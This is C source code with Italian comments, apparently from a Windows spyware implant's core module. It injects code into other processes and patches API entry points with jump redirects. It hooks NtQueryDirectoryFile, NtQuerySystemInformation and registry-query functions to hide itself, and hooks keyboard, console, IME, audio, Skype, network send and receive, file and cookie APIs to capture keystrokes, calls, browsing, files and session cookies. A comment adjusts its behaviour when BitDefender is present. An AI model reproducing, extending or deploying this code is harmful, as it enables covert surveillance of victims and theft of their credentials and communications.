    pCommonData->dwHookAdd = (DWORD)HM_SafeVirtualAllocEx(hProcess, 0, HookSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    if(!pCommonData->dwHookAdd)
        CRETURN(hProcess);

    // Alloca memoria per i dati dell'Hook
    pCommonData->dwDataAdd = (DWORD)HM_SafeVirtualAllocEx(hProcess, 0, HookDataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    if(!pCommonData->dwDataAdd)
        CRETURN(hProcess);

    IFDEF(pCommonData->bAPIAdd) {
        // Crea lo stub...
        memset(HookData, 0x90, STUB_SIZE);           // Riempie di NOP
        memcpy(HookData, APIOnLocal, code_len); // Copia n istruzioni dall'API originale che verranno sovrascritte
        
        // ...setta il JMP al codice originale...
        HookData[15] = 0xE9;    // OpCode JMP
        *((DWORD *)(HookData + 16)) = (DWORD)pCommonData->bAPIAdd + code_len - ((DWORD)pCommonData->dwDataAdd + STUB_SIZE - 4); //Offset relativo per saltare dentro l'API originale dal wrapper
        
        // ... e riloca eventuali CALL nelle istruzioni copiate nello stub.
        for (code_len=0; code_len<REDIR_SIZE; code_len += HM_sCodeAlign(HookData + code_len)) {
            op_code = HookData + code_len;
            op_operand = (DWORD *)(HookData + code_len + 1);
            if (*op_code == 0xE8 || *op_code == 0xE9) 
                *op_operand -= (pCommonData->dwDataAdd - (DWORD)pCommonData->bAPIAdd);
        }
    }

    // Copia la funzione wrapper
    if ( !HM_SafeWriteProcessMemory(hProcess, (BYTE *)pCommonData->dwHookAdd, HookAdd, HookSize, &dummy) ) 
        CRETURN(hProcess);

    // Copia la struttura dati
    if ( !HM_SafeWriteProcessMemory(hProcess, (BYTE *)pCommonData->dwDataAdd, HookData, HookDataSize, &dummy) )
        CRETURN(hProcess);

    // Setta nel wrapper il puntatore ai dati
    for(call_offs = 0; *(HookAdd + call_offs)!= 0x69; call_offs++);
    if ( !HM_SafeWriteProcessMemory(hProcess, (BYTE *)(pCommonData->dwHookAdd + call_offs), &pCommonData->dwDataAdd, 4, &dummy) )
        CRETURN(hProcess);

    IFDEF(pCommonData->bAPIAdd) {
        // Crea il jump code nell'API originale
        JMP_Code[0]='\xE9';
        *((DWORD *)(&JMP_Code[1])) = (DWORD)(pCommonData->dwHookAdd - (DWORD)(pCommonData->bAPIAdd) - 5);
        
        if ( !HM_SafeWriteProcessMemory(hProcess, pCommonData->bAPIAdd, JMP_Code, REDIR_SIZE, &dummy) )
            CRETURN(hProcess);
    }

    CloseHandle(hProcess);
    return pCommonData->dwDataAdd;
}

void __stdcall HM_sInBundleHook(DWORD dwPid, HMServiceStruct * pServiceData, BOOL lookup_bypass)
{
    // XXX Check ridondante nel caso il padre sia svchost che non ha la lista
    // perche' non ha la shared
    if (lookup_bypass)
        if (HM_ProcessByPass(dwPid))
            return;

    // Hook inbundle di Hidding...
    //HMMAKE_HOOK(dwPid, "OpenProcess", OpenProcessHook, OpenProcessData, OpenProcessHook_setup, pServiceData, "KERNEL32.dll");    

    // BitDefender non permette di infettare i processi appena creati
    if (!IsBitDefender()) {
        HMMAKE_HOOK(dwPid, "CreateProcessA", NtCreateProcessHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "KERNEL32.dll");
        HMMAKE_HOOK(dwPid, "CreateProcessW", NtCreateProcessHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "KERNEL32.dll");
        HMMAKE_HOOK(dwPid, "CreateProcessAsUserA", NtCreateProcessAsUserHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "ADVAPI32.dll");
        HMMAKE_HOOK(dwPid, "CreateProcessAsUserW", NtCreateProcessAsUserHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "ADVAPI32.dll");
        HMMAKE_HOOK(dwPid, "CreateProcessAsUserW", NtCreateProcessAsUserHook, NTCreateProcessRWData, NtCreateProcessHook_setup, pServiceData, "KERNEL32.dll");
    }

    HMMAKE_HOOK(dwPid, "NtQueryDirectoryFile", NtQueryDirectoryFileHook, NtQueryDirectoryFileData, NtQueryDirectoryFileHook_setup, pServiceData, "NTDLL.dll");
    HMMAKE_HOOK(dwPid, "ReadDirectoryChangesW", ReadDirectoryChangesWHook, ReadDirectoryChangesWData, ReadDirectoryChangesWHook_setup, pServiceData, "KERNEL32.dll");
    HMMAKE_HOOK(dwPid, "NtQuerySystemInformation", NtQuerySystemInformationHook, NTQuerySystemInformationData, NtQuerySystemInformationHook_setup, pServiceData, "NTDLL.dll");
    HMMAKE_HOOK(dwPid, "NtDeviceIoControlFile", NtDeviceIoControlFileHook, NTDeviceIOControlFileData, NtDeviceIoControlFileHook_setup, pServiceData, "NTDLL.dll");
    HMMAKE_HOOK(dwPid, "NtEnumerateValueKey", NtEnumerateValueKeyHook, NtEnumerateValueKeyData, NtEnumerateValueKeyHook_setup, pServiceData, "NTDLL.dll");    
    HMMAKE_HOOK(dwPid, "NtQueryKey", NtQueryKeyHook, NtQueryKeyData, NtQueryKeyHook_setup, pServiceData, "NTDLL.dll");    
    
    // Metto gli Hook per tutti i PM inbundle...
    // --- PM per Url Monitor
    HMMAKE_HOOK(dwPid, "SendMessageW", PM_SendMessageURL, SendMessageURLData, PM_SendMessageURL_setup, pServiceData, "user32.dll"); 
    HMMAKE_HOOK(dwPid, "SetWindowTextW", PM_SetWindowText,  SendMessageURLData, PM_SetWindowText_setup,  pServiceData, "user32.dll"); 

    // --- PM per Snapshot (on window creation)
    HMMAKE_HOOK(dwPid, "CreateWindowExA", PM_CreateWindowEx, CreateWindowExData, PM_CreateWindowEx_setup, pServiceData, "user32.dll"); 
    HMMAKE_HOOK(dwPid, "CreateWindowExW", PM_CreateWindowEx, CreateWindowExData, PM_CreateWindowEx_setup, pServiceData, "user32.dll"); 
    //HMMAKE_HOOK(dwPid, "ShowWindow", PM_ShowWindow, ShowWindowData, PM_ShowWindow_setup, pServiceData, "user32.dll"); 

    // --- PM per VOIP
    HMMAKE_HOOK(dwPid, "waveOutWrite", PM_waveOutWrite, waveOutWriteData, PM_waveOutWrite_setup, pServiceData, "WINMM.dll");
    HMMAKE_HOOK(dwPid, "waveInAddBuffer", PM_waveInUnprepareHeader, waveInUnprepareHeaderData, PM_waveInUnprepareHeader_setup, pServiceData, "WINMM.dll");
    HMMAKE_HOOK(dwPid, "SendMessageTimeoutA", PM_SendMessage, SendMessageData, PM_SendMessage_setup, pServiceData, "user32.dll"); // per SKYPE
    HMMAKE_HOOK(dwPid, "SendMessageTimeoutW", PM_SendMessage, SendMessageData, PM_SendMessage_setup, pServiceData, "user32.dll"); // per SKYPE
    HMMAKE_HOOK(dwPid, "recv", PM_Recv, RecvData, PM_Recv_setup, pServiceData, "Ws2_32.dll"); // per YahooMessenger
    HMMAKE_HOOK(dwPid, "send", PM_Send, RecvData, PM_Recv_setup, pServiceData, "Ws2_32.dll"); // per YahooMessenger
    HMMAKE_HOOK(dwPid, "WSARecv", PM_WSARecv, WSARecvData, PM_WSARecv_setup, pServiceData, "Ws2_32.dll");
    HMMAKE_HOOK(dwPid, NULL, PM_DSGetCP, DSGetCPData, PM_DSGetCP_setup, pServiceData, "dsound.dll");
    HMMAKE_HOOK(dwPid, NULL, PM_DSCapGetCP, DSCapGetCPData, PM_DSCapGetCP_setup, pServiceData, "dsound.dll");
    // Metto kernel32 giusto per far andare avanti la funzione, in realta' la dll viene caricata dal setup
    pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, NULL, PM_WASAPIGetBuffer, WASAPIGetBufferData, PM_WASAPIGetBuffer_setup, pServiceData, "kernel32.dll");
    if (pServiceData->PARAM[0]) {
        HMMAKE_HOOK(dwPid, NULL, PM_WASAPIReleaseBuffer, WASAPIReleaseBufferData, PM_WASAPIReleaseBuffer_setup, pServiceData, "kernel32.dll");
        pServiceData->PARAM[0] = NULL;
    }
    pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureGetBuffer, WASAPIGetBufferData, PM_WASAPICaptureGetBuffer_setup, pServiceData, "kernel32.dll");
    if (pServiceData->PARAM[0]) {
        HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureReleaseBuffer, WASAPIReleaseBufferData, PM_WASAPICaptureReleaseBuffer_setup, pServiceData, "kernel32.dll");
        pServiceData->PARAM[0] = NULL;
    }
    pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureGetBufferMSN, WASAPIGetBufferData, PM_WASAPICaptureGetBufferMSN_setup, pServiceData, "kernel32.dll");
    if (pServiceData->PARAM[0]) {
        HMMAKE_HOOK(dwPid, NULL, PM_WASAPICaptureReleaseBufferMSN, WASAPIReleaseBufferData, PM_WASAPICaptureReleaseBufferMSN_setup, pServiceData, "kernel32.dll");
        pServiceData->PARAM[0] = NULL;
    }

    // --- PM per il file agent... XXX Le versioni Ascii richiamano comunque quelle WideChar
    // Tranne la MoveFileA, che comunque da explorer non viene mai richiamata...
    //HMMAKE_HOOK(dwPid, "CreateFileA", PM_CreateFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
    //HMMAKE_HOOK(dwPid, "DeleteFileA", PM_DeleteFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
    //HMMAKE_HOOK(dwPid, "MoveFileA", PM_MoveFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");

    HMMAKE_HOOK(dwPid, "CreateFileW", PM_CreateFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
    HMMAKE_HOOK(dwPid, "DeleteFileW", PM_DeleteFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");
    HMMAKE_HOOK(dwPid, "MoveFileW", PM_MoveFile, CreateFileData, PM_CreateFile_setup, pServiceData, "KERNEL32.dll");

    // --- PM per il keylog agent
    HMMAKE_HOOK(dwPid, "GetMessageA", PM_GetMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
    HMMAKE_HOOK(dwPid, "GetMessageW", PM_GetMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
    HMMAKE_HOOK(dwPid, "PeekMessageA", PM_PeekMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
    HMMAKE_HOOK(dwPid, "PeekMessageW", PM_PeekMessage, GetMessageData, PM_GetMessage_setup, pServiceData, "user32.dll");
    HMMAKE_HOOK(dwPid, "ImmGetCompositionStringW", PM_ImmGetCompositionString, GetMessageData, PM_GetMessage_setup, pServiceData, "imm32.dll");
    HMMAKE_HOOK(dwPid, "ReadConsoleInputA", PM_ReadConsoleInput, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
    HMMAKE_HOOK(dwPid, "ReadConsoleInputW", PM_ReadConsoleInput, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
    HMMAKE_HOOK(dwPid, "ReadConsoleA", PM_ReadConsoleA, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
    HMMAKE_HOOK(dwPid, "ReadConsoleW", PM_ReadConsoleW, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
    HMMAKE_HOOK(dwPid, "ReadConsoleInputExA", PM_ReadConsoleInputEx, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");
    HMMAKE_HOOK(dwPid, "ReadConsoleInputExW", PM_ReadConsoleInputEx, GetMessageData, PM_GetMessage_setup, pServiceData, "kernel32.dll");

    // Per i cookie del social
    HMMAKE_HOOK(dwPid, "InternetGetCookieExW", PM_InternetGetCookieEx, InternetGetCookieExData, PM_InternetGetCookieEx_setup, pServiceData, "wininet.dll");
    

/*    // --- PM per il print agent...
    // Le altre funzioni utilizzeranno PARAM[0] per accedere ai dati memorizzati nella
    // DataStruct di CreateDC (es: handle al memory device)
    pServiceData->PARAM[0] = HMMAKE_HOOK(dwPid, "CreateDCW", CreateDC_wrap, CreateDC_data, CreateDC_setup, pServiceData, "GDI32.dll");
    
    // Se ha creato correttamente il primo hook, inserisce tutti gli altri
    // Altrimenti scorrerebbero non avendo il puntatore alla struttura dati 
    // di CreateDC
    if (pServiceData->PARAM[0]) {
        HMMAKE_HOOK(dwPid, "CreateDCA", CreateDCA_wrap, CreateDCA_data, CreateDCA_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "DeleteDC", DeleteDC_wrap, DeleteDC_data, DeleteDC_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "StartDocW", StartDoc_wrapW, StartDoc_data, StartDoc_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "StartDocA", StartDoc_wrapA, StartDoc_data, StartDoc_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "StartPage", StartPage_wrap, StartPage_data, StartPage_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "EndPage", EndPage_wrap, EndPage_data, EndPage_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "EndDoc", EndDoc_wrap, EndDoc_data, EndDoc_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "SetAbortProc", SetAbortProc_wrap, SetAbortProc_data, SetAbortProc_setup, pServiceData, "GDI32.dll");
        HMMAKE_HOOK(dwPid, "GetDeviceCaps", GetDeviceCaps_wrap, GetDeviceCaps_data, GetDeviceCaps_setup, pServiceData, "GDI32.dll");
    }
*/
}


void __stdcall HM_sInBundleService(DWORD dwPid, HMServiceStruct *pServiceData)
{
    HMMAKE_HOOK(dwPid, NULL, IPCClientRead, IPCClientRead_data, IPCClientRead_setup, NULL, NULL);
    HMMAKE_HOOK(dwPid, NULL, IPCClientWrite, IPCClientWrite_data, IPCClientWrite_setup, NULL, NULL);
    pServiceData->pHM_IpcCliRead = (HM_IPCClientRead_t) IPCClientRead_data.dwHookAdd;    
    pServiceData->pHM_IpcCliWrite = (HM_IPCClientWrite_t) IPCClientWrite_data.dwHookAdd;
}

////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// 
//                                EXPORTS SECTION: END 
//
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////


////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
// 
//                                STARTUP PROCUDERE: START
//
////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
//    Funzioni di supporto
//

// Converte Unicode in ascii
void HM_U2A(char *buffer)
{
    DWORD i=0, j=0;
    if (!buffer || buffer[1]!=0)
        return;

    do {
        i++;
        j+=2;
        buffer[i]=buffer[j];
    } while(buffer[i]!=0);
}

void HM_A2U(char *src, char *dst)
{
    DWORD i=0;
    do {
        dst[i*2] = src[i];
        dst[i*2+1] = 0;
    } while(src[i++]);
}



// Prende un path in unicode e torna una stringa dos sicuramente valida in 
// ascii per accedere al file
char *GetDosAsciiName(WCHAR *orig_path)
{
    char *dest_a_path;
    WCHAR dest_w_path[_MAX_PATH + 2];
    DWORD mblen;

    memset(dest_w_path, 0, sizeof(dest_w_path));
    if (!FNC(GetShortPathNameW)(orig_path, dest_w_path, (sizeof(dest_w_path) / sizeof (WCHAR))-1))
        return NULL;

    if ( (mblen = FNC(WideCharToMultiByte)(CP_ACP, 0, dest_w_path, -1, NULL, 0, NULL, NULL)) == 0 )
        return NULL;

    if ( !(dest_a_path = (char *)malloc(mblen)) )
        return NULL;

    if ( FNC(WideCharToMultiByte)(CP_ACP, 0, dest_w_path, -1, (LPSTR)dest_a_path, mblen, NULL, NULL) == 0 ) {
        free(dest_a_path);
        return NULL;
    }

    return dest_a_path;
}

// Espande le variabili d'ambiente e il tag della home
// dsize e' il numero di WCHAR contenibili in dest
BOOL HM_ExpandStringsW(WCHAR *source, WCHAR *dest, DWORD dsize)
{
    WCHAR *ptr;
    WCHAR *tmp_buf;

    if (!FNC(ExpandEnvironmentStringsW)(source, dest, dsize)) 
        return FALSE;

    if ( !(tmp_buf = (WCHAR *)malloc(dsize*sizeof(WCHAR))) )
        return FALSE;

    // Espande la variabile d'ambiente fittizia della home
    while ( (ptr = wcsstr(dest, HOME_VAR_NAME_W)) ) {
        *ptr = 0;
        ptr += wcslen(HOME_VAR_NAME_W);
        if (_snwprintf_s(tmp_buf, dsize, _TRUNCATE, L"%s%S%s", dest, H4_HOME_PATH, ptr) == -1 ||
            _snwprintf_s(dest, dsize, _TRUNCATE, L"%s", tmp_buf) == -1) {
            free(tmp_buf);
            return FALSE;
        }
    }
    free(tmp_buf);
    return TRUE;
}

// Espande le variabili d'ambiente e il tag della home
BOOL HM_ExpandStrings(char *source, char *dest, DWORD dsize)
{
    char *ptr;
    char *tmp_buf;

    if (!FNC(ExpandEnvironmentStringsA)(source, dest, dsize)) 
        return FALSE;

    if ( !(tmp_buf = (char *)malloc(dsize)) )
        return FALSE;

    // Espande la variabile d'ambiente fittizia della home
    while ( (ptr = strstr(dest, HOME_VAR_NAME)) ) {
        *ptr = 0;
        ptr += strlen(HOME_VAR_NAME);
        if (_snprintf_s(tmp_buf, dsize, _TRUNCATE, "%s%s%s", dest, H4_HOME_PATH, ptr) == -1 ||
            _snprintf_s(dest, dsize, _TRUNCATE, "%s", tmp_buf) == -1) {
            free(tmp_buf);
            return FALSE;
        }
    }
    free(tmp_buf);
    return TRUE;
}

BOOL GetUserUniqueHash(BYTE *user_hash, DWORD hash_size)
{
    HANDLE hToken=0;
    TOKEN_USER *token_owner=NULL;
    DWORD dwLen=0;
    char *string_sid;
    BOOL ret_val = FALSE;

    if (!user_hash)
        return FALSE;
    memset(user_hash, 0, hash_size);
    if (hash_size < SHA_DIGEST_LENGTH)
        return FALSE;

    if( FNC(OpenProcessToken)(FNC(GetCurrentProcess)(), TOKEN_QUERY| TOKEN_QUERY_SOURCE, &hToken) ) {
        FNC(GetTokenInformation)(hToken, TokenUser, token_owner, 0, &dwLen);
        if (dwLen)
            token_owner = (TOKEN_USER *) malloc( dwLen );
        if(token_owner) {
            memset(token_owner, 0, dwLen);
            if( FNC(GetTokenInformation)(hToken, TokenUser, token_owner, dwLen, &dwLen) &&
                FNC(ConvertSidToStringSidA)(token_owner->User.Sid, &string_sid) ) {
                
                SHA1Context sha;
                SHA1Reset(&sha);
                SHA1Input(&sha, (const unsigned char *)string_sid, (DWORD)(strlen(string_sid)));
                if (SHA1Result(&sha)) {
                    for (int i=0; i<5; i++)
                        sha.Message_Digest[i] = ntohl(sha.Message_Digest[i]);
                    memcpy(user_hash, sha.Message_Digest, SHA_DIGEST_LENGTH);
                    ret_val = TRUE;
                }
                LocalFree(string_sid);
            }
            free(token_owner);
        }
        CloseHandle(hToken);
    }
    return ret_val;
}

typedef struct  {
    HWND proc_window;
    DWORD pid;
} proc_window_struct;

BOOL CALLBACK IsProcWindow(HWND hwnd, LPARAM param) 
{
    proc_window_struct *pstr = (proc_window_struct *)param;
    DWORD pid;
    if (GetWindowLong(hwnd, GWL_HWNDPARENT) != NULL)
        return TRUE;
    if (!IsWindowVisible(hwnd))
        return TRUE;
    GetWindowThreadProcessId(hwnd, &pid);
    if (pid == pstr->pid) {
        pstr->proc_window = hwnd;
        return FALSE;
    }
    return TRUE;
}
// Torna la finestra del processo "procname"
HWND HM_GetProcessWindow(char *procname)
{
    proc_window_struct proc_window;
    proc_window.proc_window = NULL;
    proc_window.pid = HM_FindPid(procname, TRUE);
    if (proc_window.pid == 0)
        return NULL;

    EnumWindows(IsProcWindow, (LPARAM)(&proc_window));
    return proc_window.proc_window;
}

// Ritorna il nome del processo "pid"
// Torna NULL se non ha trovato niente 
// N.B. Se torna una stringa, va liberata
char *HM_FindProc(DWORD pid)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD dwPID = 0;
    char *name_offs;
    char *ret_name = NULL;

    pe32.dwSize = sizeof( PROCESSENTRY32 );
    if ( (hProcessSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE )
        return NULL;

    if( !FNC(Process32First)( hProcessSnap, &pe32 ) ) {
        CloseHandle( hProcessSnap );
        return NULL;
    }

    // Cicla la lista dei processi attivi
    do {
        // Cerca il processo "pid"
        if (pe32.th32ProcessID == pid) {
            // Elimina il path
            name_offs = strrchr(pe32.szExeFile, '\\');
            if (!name_offs)
                name_offs = pe32.szExeFile;
            else
                name_offs++;
            ret_name = _strdup(name_offs);
            break;
        }
    } while( FNC(Process32Next)( hProcessSnap, &pe32 ) );

    CloseHandle( hProcessSnap );
    return ret_name;
}

// Ritorna il nome del processo "pid"
// Torna NULL se non ha trovato niente 
// N.B. Se torna una stringa, va liberata
WCHAR *HM_FindProcW(DWORD pid)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32W pe32;
    DWORD dwPID = 0;
    WCHAR *name_offs;
    WCHAR *ret_name = NULL;

    pe32.dwSize = sizeof(pe32);
    if ( (hProcessSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE )
        return NULL;

    if( !FNC(Process32FirstW)( hProcessSnap, &pe32 ) ) {
        CloseHandle( hProcessSnap );
        return NULL;
    }

    // Cicla la lista dei processi attivi
    do {
        // Cerca il processo "pid"
        if (pe32.th32ProcessID == pid) {
            // Elimina il path
            name_offs = wcsrchr(pe32.szExeFile, L'\\');
            if (!name_offs)
                name_offs = pe32.szExeFile;
            else
                name_offs++;
            ret_name = _wcsdup(name_offs);
            break;
        }
    } while( FNC(Process32NextW)( hProcessSnap, &pe32 ) );

    CloseHandle( hProcessSnap );
    return ret_name;
}

BOOL HM_FindProcPath(DWORD pid, WCHAR *file_path, DWORD len)
{
    HANDLE hProc;

    hProc = OpenProcess(0x410, FALSE, pid);
    if (hProc == NULL)
        return FALSE;

    if (GetModuleFileNameExW(hProc, NULL, file_path, len) > 0) {    
        CloseHandle(hProc);
        return TRUE;
    }

    CloseHandle(hProc);
    return FALSE;
}

// Ritorna la descrizione di un processo dato il PID
BOOL ReadDesc(DWORD pid, WCHAR *file_desc, DWORD len)
{
    HRESULT hr;
    DWORD size, dummy;
    BYTE *pBlock;
    UINT cbTranslate = 0, desc_size = 0;
    WCHAR *description;
    WCHAR file_path[MAX_PATH];
    BOOL ret_val;
    BYTE SubBlock[100];
    struct LANGANDCODEPAGE {
      WORD wLanguage;
      WORD wCodePage;
    } *lpTranslate;

    if (!HM_FindProcPath(pid, file_path, sizeof(file_path)))
        return FALSE;

    size = GetFileVersionInfoSizeW(file_path, &dummy);
    if (size == 0) 
        return FALSE;
    
    pBlock = (BYTE *)malloc(size);
    if (!pBlock) 
        return FALSE;
    
    if (!GetFileVersionInfoW(file_path, 0, size, pBlock)) {
        free(pBlock);
        return FALSE;
    }

    ret_val = VerQueryValueW(pBlock, L"\\VarFileInfo\\Translation", (LPVOID*)&lpTranslate, &cbTranslate);
    if (!ret_val || cbTranslate < sizeof(struct LANGANDCODEPAGE)) {
        free(pBlock);
        return FALSE;
    }

    ZeroMemory(SubBlock, sizeof(SubBlock));
    hr = StringCchPrintfW((STRSAFE_LPWSTR)SubBlock, sizeof(SubBlock)-1, L"\\StringFileInfo\\%04x%04x\\FileDescription", lpTranslate[0].wLanguage, lpTranslate[0].wCodePage);
    if (FAILED(hr)) {
        free(pBlock);
        return FALSE;
    }

    if (VerQueryValueW(pBlock, (LPCWSTR)SubBlock, (LPVOID *)&description, &desc_size)) {
        _snwprintf_s(file_desc, len/sizeof(WCHAR), _TRUNCATE, L"%s", description);        
        free(pBlock);
        return TRUE;
    }

    free(pBlock);
    return FALSE;
}

// Torna TRUE se il processo e' dell'utente
// chiamante
BOOL IsMyProcess(DWORD pid)
{
    HANDLE hProc=0;
    HANDLE hToken=0;
    TOKEN_USER *token_owner=NULL;
    char wsRefDomain[512], wsUserName[512], wsEffectiveName[512];
    SID_NAME_USE peUse;
    BOOL ret_val = FALSE;
    DWORD dwLen=0, cbUserName = sizeof(wsUserName), cbRefDomain = sizeof(wsRefDomain), cbEffectiveName = sizeof(wsEffectiveName);

    hProc = FNC(OpenProcess)(PROCESS_QUERY_INFORMATION, FALSE, pid);

    if (hProc) {
        if( FNC(OpenProcessToken)(hProc, TOKEN_QUERY| TOKEN_QUERY_SOURCE, &hToken) ) {
            FNC(GetTokenInformation)(hToken, TokenUser, token_owner, 0, &dwLen);
            if (dwLen)
                token_owner = (TOKEN_USER *) malloc( dwLen );
            if(token_owner) {
                memset(token_owner, 0, dwLen);
                if( FNC(GetTokenInformation)(hToken, TokenUser, token_owner, dwLen, &dwLen) )
                    if (FNC(LookupAccountSidA)(NULL, token_owner->User.Sid, wsUserName, &cbUserName, wsRefDomain, &cbRefDomain, &peUse)) 
                        if (FNC(GetUserNameA)(wsEffectiveName, &cbEffectiveName))
                            if (!_stricmp(wsEffectiveName, wsUserName))
                                ret_val = TRUE;
                free(token_owner);
            }
            CloseHandle(hToken);
        }
        CloseHandle(hProc);
    }

    return ret_val;
}

// Ritorna il PID del processo "proc_name"
// Torna 0 se non lo trova
// Se my_flag e' settato, torna solo i processi
// dell'utente chiamante
DWORD HM_FindPid(char *proc_name, BOOL my_flag)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD dwPID = 0;
    char *name_offs;

    pe32.dwSize = sizeof( PROCESSENTRY32 );
    if ( (hProcessSnap = FNC(CreateToolhelp32Snapshot)( TH32CS_SNAPPROCESS, 0 )) == INVALID_HANDLE_VALUE )
        return 0;

    if( !FNC(Process32First)( hProcessSnap, &pe32 ) ) {
        CloseHandle( hProcessSnap );
        return 0;
    }

    // Cicla la lista dei processi attivi
    do {
        // Elimina il path
        name_offs = strrchr(pe32.szExeFile, '\\');
        if (!name_offs)
            name_offs = pe32.szExeFile;
        else
            name_offs++;

        // Cerca il processo confrontando il nome
        if (!_stricmp(name_offs, proc_name)) {
            if (!my_flag || IsMyProcess(pe32.th32ProcessID)) {
                dwPID = pe32.th32ProcessID;
                break;
            }
        }
    } while( FNC(Process32Next)( hProcessSnap, &pe32 ) );

    CloseHandle( hProcessSnap );
    return dwPID;
}


#define MAX_CMD_LINE 800
typedef BOOL (WINAPI *CreateProcess_t) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *CreateProcessAsUser_t) (HANDLE, LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
typedef BOOL (WINAPI *CloseHandle_t) (HANDLE);
typedef struct {
    COMMONDATA;
    CreateProcess_t pCreateProcess;
    CloseHandle_t pCloseHandle;
    char cmd_line[MAX_CMD_LINE];
    DWORD flags;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
} HMCreateProcessThreadDataStruct;

// Thread iniettato dentro explorer per effettuare CreateProcess
DWORD HM_CreateProcessThread(void *dummy)
{
    INIT_WRAPPER(HMCreateProcessThreadDataStruct);

    if (!pData->pCreateProcess(NULL, pData->cmd_line, 0, 0, FALSE, pData->flags, 0, 0, &(pData->si), &(pData->pi))) {
        pData->pi.dwProcessId = 0;
        return 0;
    }

    // Chiude gli handle aperti dentro explorer
    pData->pCloseHandle(pData->pi.hProcess);
    pData->pCloseHandle(pData->pi.hThread);
    return 1;
}

BOOL CheckDemoVersion()
{
    char demo_tag[24];

    memcpy(demo_tag, WATERMARK, sizeof(demo_tag));
    if (demo_tag[0] == '0') return FALSE;

    memcpy(demo_tag, DEMO_TAG , sizeof(demo_tag));

    if (demo_tag[0] != 'P') return FALSE;
    if (demo_tag[1] != 'g') return FALSE;
    if (demo_tag[2] != '-') return FALSE;
    if (demo_tag[3] != 'W') return FALSE;
    if (demo_tag[4] != 'a') return FALSE;
    if (demo_tag[5] != 'V') return FALSE;
    if (demo_tag[6] != 'y') return FALSE;
    if (demo_tag[7] != 'P') return FALSE;
    if (demo_tag[8] != 'z') return FALSE;
    if (demo_tag[9] != 'M') return FALSE;
    if (demo_tag[10] != 'M') return FALSE;
    if (demo_tag[11] != 'M') return FALSE;
    if (demo_tag[12] != 'M') return FALSE;
    if (demo_tag[13] != 'm') return FALSE;
    if (demo_tag[14] != 'G') return FALSE;
    if (demo_tag[15] != 'b') return FALSE;
    if (demo_tag[16] != 'h') return FALSE;
    if (demo_tag[17] != 'P') return FALSE;
    if (demo_tag[18] != '6') return FALSE;
    if (demo_tag[19] != 'q') return FALSE;
    if (demo_tag[20] != 'A') return FALSE;
    if (demo_tag[21] != 'i') return FALSE;
    if (demo_tag[22] != 'g') return FALSE;
    if (demo_tag[23] != 'T') return FALSE;

    return TRUE;
}

//Riempie i campi relativi al nome del file immagine,
//file di configurazione, directory di installazione.
//Se torna FALSE non chiude niente, tanto il processo
//poi uscira'.
BOOL HM_GuessNames()
{
    char path_name[DLLNAMELEN+1];
    char neutral_name[MAX_RAND_NAME];
    char *ptr_offset;
    
    // Verifica se si tratta della versione demo o meno
    is_demo_version = CheckDemoVersion();

    if (!FindModulePath(path_name, sizeof(path_name)))
        return FALSE;

    // Comincia la scomposizione del path
    // Ci assicuriamo la NULL terminazione

    // Nome DLL
    if (! (ptr_offset = FNC(StrRChrA)(path_name, NULL, '\\')) )
        return FALSE;
    _snprintf_s(H4DLLNAME, MAX_RAND_NAME, _TRUNCATE, "%s", ptr_offset+1);
    *ptr_offset = 0;

    // Path della home
